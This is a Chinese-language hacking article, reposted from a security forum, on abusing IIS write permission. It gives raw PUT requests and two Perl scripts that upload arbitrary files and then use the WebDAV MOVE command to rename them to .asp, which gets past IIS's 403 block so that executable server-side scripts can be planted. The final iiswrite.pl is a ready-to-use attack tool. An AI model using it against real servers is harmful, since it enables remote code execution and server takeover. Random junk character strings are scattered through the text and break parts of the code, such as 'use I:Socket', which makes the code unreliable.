对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

. e* C) p' ~: S8 o, j8 s: J

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

写权限

, U$ x. z; Y& B

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

! }8 o) E5 h; ?( E B

5 i8 V4 ^: ]+ [' d5 M7 sPUT /dir/my_file.txt HTTP/1.1 Host: iis-server Content-Length: 10

5 |0 j' H0 s5 a+ v& F

　　这时服务器会返回一个100( 继续)的信息：

+ J# Q! B* @ m) p wHTTP/1.1 100 Continue ( Q# w2 ~) ^5 d2 [Server: Microsoft-IIS/5.0 , y/ o) D; f$ d: r+ h! YDate: Thu, 28 Feb 2002 15:56:00 GMT

( `4 q- [# V0 Y

　　接着，我们输入10个字母：

AAAAAAAAAA

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

HTTP/1.1 201 Created * k, }2 f6 ]# g0 `Server: Microsoft-IIS/5.0 2 Y7 e5 a3 N [. d7 L8 ]8 zDate: Thu, 28 Feb 2002 15:56:08 GMT " g0 N1 E/ V3 sLocation: http://iis-server/dir/my_file.txt Content-Length: 0 ' j6 \% n0 l& S( y1 YAllow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

% G3 K% ^$ ]! m

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

5 x/ e% Y9 I) E3 O% y

　　这里简单说明下：

3 M0 B4 F) q* a- l

- O6 G+ ]1 [) s' e' b) |/ uPUT /dir/my_file.txt HTTP/1.1 Host: iis-server + X- n) D# s6 Y0 }2 G1 A, k8 TContent-Length: 10

9 {7 l2 }1 @/ g* U5 m

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 　　Host：是HTTP请求的发送地址 　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

8 k$ T$ p6 Y3 g: r0 ^7 y1 v$ L

0 N" E" @) ]% u

#!/usr/bin/perl use I:Socket; 5 j; I7 r* J w0 Y8 M; X4 G$ARGC = @ARGV;

if ($ARGC != 4) { $ ^# X6 h4 a) f3 g2 B+ L4 ^7 T　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; , ^1 h: p: i1 F( Y　　exit; } $host = @ARGV[0]; ( k, }$ E8 z3 j# s$ I$ T$port = @ARGV[1]; ! S7 B" |6 I9 Y8 d% O# e$file = @ARGV[2]; ) B+ `) ?# Z A& P- F$path = @ARGV[3];

@s=stat("$file"); : M0 S* i3 i, n$size = $s[7]; #得到文件大小 print "$file size is $size bytes\n";

my $sock = I:Socket::INET->new(Proto =>"tcp", - O* {- R) J7 t7 Y* G) d# l* Z5 MPeerAddr =>$host, 8 V0 s! o% S2 Y+ lPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; #sock连接

open(FILE,"$file"); binmode(FILE); #用2进制打开文件

while (read(FILE,$char,1024)) { #读取文件数据上传 9 I' \6 y- r5 A　　print $sock "$char"; 4 U6 j* @ A! B g- X} print $sock "\n\n"; @req = <$sock>; print "please wait...\n"; sleep(2); $ M4 W- w s% m; r$ b! v' q: O. l, Tif ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!" ; #成功显示 } else{ 　　print "upfile faile!!!\n\n"; 　　print @req;#如果失败显示返回错误 1 g6 a5 z* d4 S ~5 m" j: k} ) ?/ q9 K+ l9 R+ M1 I$ P5 uclose $sock; close FILE;

U8 N( T! z, Q2 H

　　下面我们测试下：

9 V* p$ X: e4 @! K* F3 B% O6 H X9 @

( ~( C6 W3 t6 U' v& r: v* L' x" @ 9 s, @! i! g, n$ ~1 n2 W& [% F

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt 3 L7 p9 I" U' I* Rkaka.txt size is 14 bytes please wait... upfile Succeed!!!

C:\Inetpub\Scripts>dir kaka.txt 驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

1 [8 V* K E& Y

C:\Inetpub\Scripts 的目录

; Q) _4 c! Z9 q$ b: P2 L n) I

2004-05-05 00:37 14 kaka.txt 1 个文件 14 字节 0 个目录 3,871,080,448 可用字节

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

* A+ t! w* w9 G1 X) [- H

0 o& ]; @+ }: n0 _ ' r, O. w j+ u7 H) ^

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe 7 X+ j+ ]0 w& I- Aperl.exe size is 20535 bytes ' Q' B7 I. L1 p9 t2 C, j! B2 ^$ K( N, wplease wait... upfile Succeed!!!

C:\Inetpub\Scripts>dir perl.exe 驱动器 C 中的卷没有标签。 * k: {3 T. v0 H0 \% \8 V) }卷的序列号是 3CD1-479E

* R6 B& f- B% [1 b; J( F5 s

C:\Inetpub\Scripts 的目录

2004-05-05 00:42 20,535 perl.exe 1 个文件 20,535 字节 % W0 M' I; _9 v6 d. G! C {# F0 个目录 3,871,031,296 可用字节

) S$ t9 e" U6 @

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

, [! `# L+ E' Y% J! c: y( W' c3 q

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp & K0 U' v3 d7 ]$ J wkaka.asp size is 4 bytes please wait... upfile faile!!!

" s1 k. \. k' l& M% K

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT

6 [! l& _" H K4 H5 }" X. _

HTTP/1.1 403 Forbidden Server: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT Connection: close Content-Type: text/html Content-Length: 44

) Z- d/ K8 E* v! U- j$ C' m

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

( T2 G0 r3 l( C w$ z8 G

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

( \0 u! O- @! ?4 {2 S8 L; C) n

+ O1 P( P4 L# m; I4 a/ w& s ' n3 ^7 F9 X0 y6 X

D:\>nc 127.0.0.1 80 MOVE /scripts/kaka.txt HTTP/1.1 ' t: }0 ]5 G! ^; `Host:127.0.0.1 : P( {# w" Z$ h4 W( UDestination: http://127.0.0.1/scripts/kaka.asp

- E/ J; G' B+ ?. B

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 $ z# l$ R! j% IDate: Sun, 05 Oct 2003 09:30:59 GMT Location: http://127.0.0.1/scripts/x.asp Content-Type: text/xml Content-Length: 0

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

) |" ^$ t0 A9 j$ Z! j

　　测试写asp成功：

' s D9 B3 ~! @$ N

$ M9 u& @& w) e. R; C2 a

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp E- D5 b6 w$ T8 l O8 s4 p! J************************************************************ codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> ************************************************************ kaka.asp size is 4 bytes please wait... . j' `, Q C6 i7 C' l( lupfile Succeed!!! Modifyfile Succeed!!!

( P9 F0 I; n `2 g! D

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

j" K1 ~- I" n

#!/usr/bin/perl #The iiswrite Script

use I:Socket; $ARGC = @ARGV; print "*" x 60; print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; * |) ]: d2 Z8 [* j3 z8 s- C* [6 \print "*" x 60,"\n"; if ($ARGC != 4) 3 h) N. i5 L, y* C. I{ 　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 5 Q4 D& ~9 |; W _　　exit; } $host = @ARGV[0]; $port = @ARGV[1]; / `# k2 q7 \( _. m. p$path = @ARGV[3]; / E6 L |4 f* W; g% b8 d8 T5 y9 p# [$file = @ARGV[2];

@path=split("/",$path); $any = pop(@path); , Q1 O: h! E4 Q i4 ?$path1=join("/",@path); 0 I, A* U; Z2 v( u5 X. }@s=stat("$file"); $size = $s[7];

print "$file size is $size bytes\n"; my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, ( @8 _& W v4 B* f' }0 \PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 8 F; E; ]/ t2 K+ e8 u5 j' g. v# cprint $sock "PUT $path1/lanker.txt HTTP/1.1\n"; $ u, B$ c' P- d) jprint $sock "Host: $host\n"; 4 ?5 U1 M' s. J# p: r! wprint $sock "Content-Length: $size\n\n"; Q" M( M0 r1 eopen(FILE,"$file")|| die "Can't open $file"; # F& ^ G9 R% ~# @8 U: j1 ?binmode(FILE); - y: }1 d+ ~# k0 ywhile (read(FILE,$char,1024)) { / }8 v2 l8 H- p: g8 U, P　　print $sock "$char"; } 8 M! j1 R, q7 @6 y7 g: Aprint $sock "\n\n"; @req = <$sock>; , a) k5 o( j! ]! H. Tprint "please wait...\n"; & i" }2 c2 e, P; v4 l! C1 \8 Osleep(2); if ($req[4]=~/200|201/){ ) {, ~, z9 i9 Q3 q- A　　print "upfile Succeed!!!\n" ; * l% g+ F8 K: t} else{ % ^( K+ g- f2 a　　print "upfile faile!!!\n"; } . J! J+ s3 M$ R& [/ u( Kclose $sock; + w$ s9 b* V* w1 D" W( m3 Lclose FILE;

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, + K2 E% e: K" m7 o5 e) Y7 fPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; : D" p& t) w$ w7 p, |print $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Destination:http://$hostport$path\n\n\n\n"; : [" @" w: A( o- a& G# U8 B@req = <$sock>; if ($req[0]=~/20\d+|/){ 　　print "Modifyfile Succeed!!!" ; } - V; y7 Q X: Q9 @else{ " j C+ t% V9 ]9 I6 ]# K+ c! B& u　　print "upfile faile!!!"; + P, C$ T6 {, d} close $sock